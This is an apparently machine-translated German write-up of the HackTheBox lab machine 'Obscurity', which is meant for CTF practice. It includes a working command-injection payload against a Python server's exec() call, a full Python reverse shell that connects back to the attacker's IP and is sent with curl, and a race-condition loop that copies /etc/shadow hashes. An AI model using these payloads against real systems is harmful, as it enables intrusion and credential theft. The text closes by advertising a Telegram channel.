Ich veröffentliche weiterhin Lösungen, die zur weiteren Verarbeitung von der HackTheBox- Site gesendet wurden .In diesem Artikel nutzen wir eine Sicherheitsanfälligkeit im Python-Code aus und führen auch einen Race Condition-Angriff durch.Die Verbindung zum Labor erfolgt über VPN. Es wird empfohlen, keine Verbindung von einem Arbeitscomputer oder von einem Host aus herzustellen, auf dem die für Sie wichtigen Daten verfügbar sind, da Sie in ein privates Netzwerk mit Personen gelangen, die etwas auf dem Gebiet der Informationssicherheit wissen :)Organisationsinformationen, ,
Telegram . , ,
.
. , - , .
Aufklärung
Dieser Computer hat eine IP-Adresse 10.10.10.168, die ich zu / etc / hosts hinzufüge.10.10.10.168 obscurity.htb
Zuerst scannen wir offene Ports. Da das Scannen aller Ports mit nmap sehr lange dauert, werde ich dies zunächst mit masscan tun. Wir scannen alle TCP- und UDP-Ports von der tun0-Schnittstelle mit einer Geschwindigkeit von 500 Paketen pro Sekunde.masscan -e tun0 -p1-65535,U:1-65535 10.10.10.168 --rate=500
Für detailliertere Informationen zu den Diensten, die an Ports ausgeführt werden, führen wir nun einen Scan mit der Option -A durch.nmap -A obscurity.htb -p22,8080
Der Host führt den SSH-Dienst und den Webserver aus. Wir schauen uns das Web an.
So haben wir:- Aufzeichnungsserver
- Verschlüsselung verwendet
- Der Servercode in der Datei SuperSecureServer.py in einem unbekannten Verzeichnis.
Da wir den Namen der Datei kennen, gehen wir das Verzeichnis durch. Lass es uns mit wfuzz machen. Als Parameter übergeben wir das Wörterbuch, die URL und den Antwortcode, die ignoriert werden sollen.wfuzz -w /usr/share/dirb/wordlists/common.txt -u http://obscurity.htb:8080/FUZZ/SuperSecureServer.py --hc 404
Und wir finden dieses Verzeichnis. Laden wir den Servercode herunter.wget http://obscurity.htb:8080/develop/SuperSecureServer.py
Einstiegspunkt
Wir öffnen und analysieren den Server. Wir finden eine potenziell gefährliche Verwendung der Funktion exec ().
Fügen wir dem Code einige Zeilen hinzu.
So können wir den Server lokal starten und sehen, was in die exec () - Funktion gelangt. Lassen Sie uns den Server starten und eine Anfrage senden.curl http://127.0.0.1:33333/asd

curl "http://127.0.0.1:33333/asd'"

curl "http://127.0.0.1:33333/asd''"
Somit haben wir OS Command Injection.curl "http://127.0.0.1:33333/asd';os.system(\"whoami\");'"
Wir werden die folgende Reverse Python Shell verwenden.import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.15.60",4321));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
Da der Servercode bereits den Import der erforderlichen Module enthält, entfernen wir deren Import aus der Shell. Wir vermeiden auch Anführungszeichen und eckige Klammern.curl "http://127.0.0.1:33333/asd';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.15.60\",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\[\"/bin/sh\",\"-i\"\]);'"
Fein! Alles funktioniert auf dem lokalen Computer. Lassen Sie uns diese Anfrage an den Server ausführen.curl "http://obscurity.htb:8080/asd';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.15.60\",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\[\"/bin/sh\",\"-i\"\]);'"
Wir haben einen Einstiegspunkt.BENUTZER
Wir sehen uns auf dem Server um und finden lesbare Dateien im Home-Verzeichnis des Benutzers.
Wir lesen Dateien.
Somit werden die Dateien verschlüsselt. Laden Sie alles herunter, was wir dem lokalen Host geben. Wie in der Nachricht angegeben, wird die Datei check.txt verschlüsselt und das Ergebnis in out.txt angezeigt. Lassen Sie uns den Algorithmus sehen.
Während der Verschlüsselung erfolgt somit das Hinzufügen des Textsymbols und des Schlüsselsymbols modulo 255. Beim Entschlüsseln werden diese Symbole subtrahiert.Das heißt, ([check.txt] + [key])% 255 = out.txt und ([out.txt] - [key])% 255 = check.txt. Dann ([out.txt] - [check.txt])% 255 = Schlüssel.
Und sieh dir den Schlüssel an.
Und jetzt entschlüsseln wir mit diesem Schlüssel das Benutzerpasswort.
Wir verbinden uns über SSH mit diesem Passwort und nehmen das Benutzerflag.
WURZEL
Schauen wir uns die Einstellungen von sudo an, nämlich ob der Benutzer robert irgendwelche Befehle unter sudo ohne Passwort ausführen kann.
Mal sehen, den Code. Der Code erfordert Authentifizierungsdaten. Anschließend wird der Inhalt der Datei / etc / shadow in das Verzeichnis / tmp / SSH / * kopiert. Anschließend werden die Authentifizierungsdaten überprüft und die Datei gelöscht.
Daher müssen wir es schaffen, die Datei aus / tmp / SSH / * zu kopieren, bevor sie gelöscht wird. Führen Sie das zweite Terminal aus und führen Sie darin einen endlosen Lesezyklus aus.for ((;;)) do cat /tmp/SSH/* 2>/dev/null && break ; done
Führen Sie nun das Programm aus, geben Sie alle Daten ein und sehen Sie die Hashes.sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
Und sie brechen leicht.
Wir nehmen die Flagge der Wurzel.
Sie können sich uns per Telegramm anschließen . Dort finden Sie interessante Materialien, zusammengeführte Kurse sowie Software. Stellen wir eine Community zusammen, in der es Menschen gibt, die sich in vielen Bereichen der IT auskennen. Dann können wir uns in Fragen der IT und der Informationssicherheit immer gegenseitig helfen.